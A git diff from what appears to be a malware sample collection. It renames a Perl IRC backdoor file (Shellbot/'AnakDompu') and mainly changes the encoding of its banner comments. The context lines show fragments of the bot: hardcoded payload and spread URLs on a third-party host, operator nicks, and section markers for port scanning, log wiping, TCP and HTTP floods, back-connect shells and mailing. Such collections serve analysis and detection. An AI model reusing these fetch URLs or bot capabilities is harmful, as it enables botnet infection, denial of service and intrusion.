diff --git a/Perl/Backdoor.Perl.Shellbot.B.txt b/Perl/Backdoor.Perl.Dompu.a
similarity index 95%
rename from Perl/Backdoor.Perl.Shellbot.B.txt
rename to Perl/Backdoor.Perl.Dompu.a
index 9aa85a73..3f30af1f 100644
--- a/Perl/Backdoor.Perl.Shellbot.B.txt
+++ b/Perl/Backdoor.Perl.Dompu.a
@@ -11,7 +11,7 @@
 #      | |__/ /| (_) || |   | || |   | |_| |
 #      (_____) (_____)(_)   (_)(_)   (_____)
 #
-#              AnakDompu [on] Dalnet © 2008
+#              AnakDompu [on] Dalnet © 2008
 #
 #
 ########################################################
@@ -21,7 +21,7 @@ use IO::Socket::INET;
 use HTTP::Request;
 use LWP::UserAgent;
 ##################################################
-# Ketika Rasa Tak Dapat Di Ungkap Dengan Kata™	 #
+# Ketika Rasa Tak Dapat Di Ungkap Dengan Kataâ„¢	 #
 # 	  www.AnakDompu.by.ru		 	 #
 #	     Created By Shinchi			 #
 #		 #AnakDompu			 #
@@ -37,9 +37,9 @@ my $spread="http://www.gasthof-neumeister.com/images/zoom/alls.txt???";
 my $perawan="http://www.gasthof-neumeister.com/images/zoom/alls.txt???";
 my $idku="http://www.gasthof-neumeister.com/images/zoom/pbots.txt???";
 my @adms=("Shinchi","FuRkaN");
-my @canais=("#·");
+my @canais=("#·");
 ##################################################
-# Ketika Rasa Tak Dapat Di Ungkap Dengan Kata™	 #
+# Ketika Rasa Tak Dapat Di Ungkap Dengan Kataâ„¢	 #
 # 	  www.AnakDompu.by.ru		 	 #
 #	     Created By Shinchi			 #
 #		 #AnakDompu			 #
@@ -87,7 +87,7 @@ use Socket;
 use IO::Select;
 chdir("/");
 ##################################################
-# Ketika Rasa Tak Dapat Di Ungkap Dengan Kata™	 #
+# Ketika Rasa Tak Dapat Di Ungkap Dengan Kataâ„¢	 #
 # 	  www.AnakDompu.by.ru		 	 #
 #	     Created By Shinchi			 #
 #		 #AnakDompu			 #
@@ -190,7 +190,7 @@ sub parse {
 #End of Connect
 
 ##################################################
-# Ketika Rasa Tak Dapat Di Ungkap Dengan Kata™	 #
+# Ketika Rasa Tak Dapat Di Ungkap Dengan Kataâ„¢	 #
 # 	  www.AnakDompu.by.ru		 	 #
 #	     Created By Shinchi			 #
 #		 #AnakDompu			 #
@@ -399,7 +399,7 @@ if ($funcarg =~ /^milw0rm/) {
 	sleep 1;
 }}
 ##################################################
-# Ketika Rasa Tak Dapat Di Ungkap Dengan Kata™	 #
+# Ketika Rasa Tak Dapat Di Ungkap Dengan Kataâ„¢	 #
 # 	  www.AnakDompu.by.ru		 	 #
 #	     Created By Shinchi			 #
 #		 #AnakDompu			 #
@@ -435,7 +435,7 @@ if ($funcarg =~ /^portscan (.*)/) {
 #  End of  Portscan  #
 ######################
 ##################################################
-# Ketika Rasa Tak Dapat Di Ungkap Dengan Kata™	 #
+# Ketika Rasa Tak Dapat Di Ungkap Dengan Kataâ„¢	 #
 # 	  www.AnakDompu.by.ru		 	 #
 #	     Created By Shinchi			 #
 #		 #AnakDompu			 #
@@ -470,7 +470,7 @@ if ($funcarg =~ /^portscan (.*)/) {
 #    End of Nmap     #
 ######################
 ##################################################
-# Ketika Rasa Tak Dapat Di Ungkap Dengan Kata™	 #
+# Ketika Rasa Tak Dapat Di Ungkap Dengan Kataâ„¢	 #
 # 	  www.AnakDompu.by.ru		 	 #
 #	     Created By Shinchi			 #
 #		 #AnakDompu			 #
@@ -509,7 +509,7 @@ sendraw($IRC_cur_socket, "PRIVMSG $printl :8,113,6[1MengHapusLogFile] Sele
 # Akhir Menghapus Log File  #
 #############################
 ##################################################
-# Ketika Rasa Tak Dapat Di Ungkap Dengan Kata™	 #
+# Ketika Rasa Tak Dapat Di Ungkap Dengan Kataâ„¢	 #
 # 	  www.AnakDompu.by.ru		 	 #
 #	     Created By Shinchi			 #
 #		 #AnakDompu			 #
@@ -556,7 +556,7 @@ sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1Mailer]8,1 Successfully
 #End of Join And Part#
 ######################
 ##################################################
-# Ketika Rasa Tak Dapat Di Ungkap Dengan Kata™	 #
+# Ketika Rasa Tak Dapat Di Ungkap Dengan Kataâ„¢	 #
 # 	  www.AnakDompu.by.ru		 	 #
 #	     Created By Shinchi			 #
 #		 #AnakDompu			 #
@@ -581,7 +581,7 @@ sendraw($IRC_cur_socket,"PRIVMSG $printl :0,113,6[1TCP DDoS] HaJar SeLeSai
 #  End of TCPFlood   #
 ######################
 ##################################################
-# Ketika Rasa Tak Dapat Di Ungkap Dengan Kata™	 #
+# Ketika Rasa Tak Dapat Di Ungkap Dengan Kataâ„¢	 #
 # 	  www.AnakDompu.by.ru		 	 #
 #	     Created By Shinchi			 #
 #		 #AnakDompu			 #
@@ -617,7 +617,7 @@ if ($estatisticas)
 ######################
 #End of  Back Connect#
 ##################################################
-# Ketika Rasa Tak Dapat Di Ungkap Dengan Kata™	 #
+# Ketika Rasa Tak Dapat Di Ungkap Dengan Kataâ„¢	 #
 # 	  www.AnakDompu.by.ru		 	 #
 #	     Created By Shinchi			 #
 #		 #AnakDompu			 #
@@ -1635,7 +1635,7 @@ exit;
 ######################
 #End of EExPreSiSCANNER#
 ##################################################
-# Ketika Rasa Tak Dapat Di Ungkap Dengan Kata™	 #
+# Ketika Rasa Tak Dapat Di Ungkap Dengan Kataâ„¢	 #
 # 	  www.AnakDompu.by.ru		 	 #
 #	     Created By Shinchi			 #
 #		 #AnakDompu			 #
@@ -1658,7 +1658,7 @@ sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1Http DDoS] 13,6[1HaJaR Se
 ######################
 #  End of HTTPFlood  #
 ##################################################
-# Ketika Rasa Tak Dapat Di Ungkap Dengan Kata™	 #
+# Ketika Rasa Tak Dapat Di Ungkap Dengan Kataâ„¢	 #
 # 	  www.AnakDompu.by.ru		 	 #
 #	     Created By Shinchi			 #
 #		 #AnakDompu			 #
@@ -2570,7 +2570,7 @@ return $page;
 }
 
 ##################################################
-# Ketika Rasa Tak Dapat Di Ungkap Dengan Kata™	 #
+# Ketika Rasa Tak Dapat Di Ungkap Dengan Kataâ„¢	 #
 # 	  www.AnakDompu.by.ru		 	 #
 #	     Created By Shinchi			 #
 #		 #AnakDompu			 #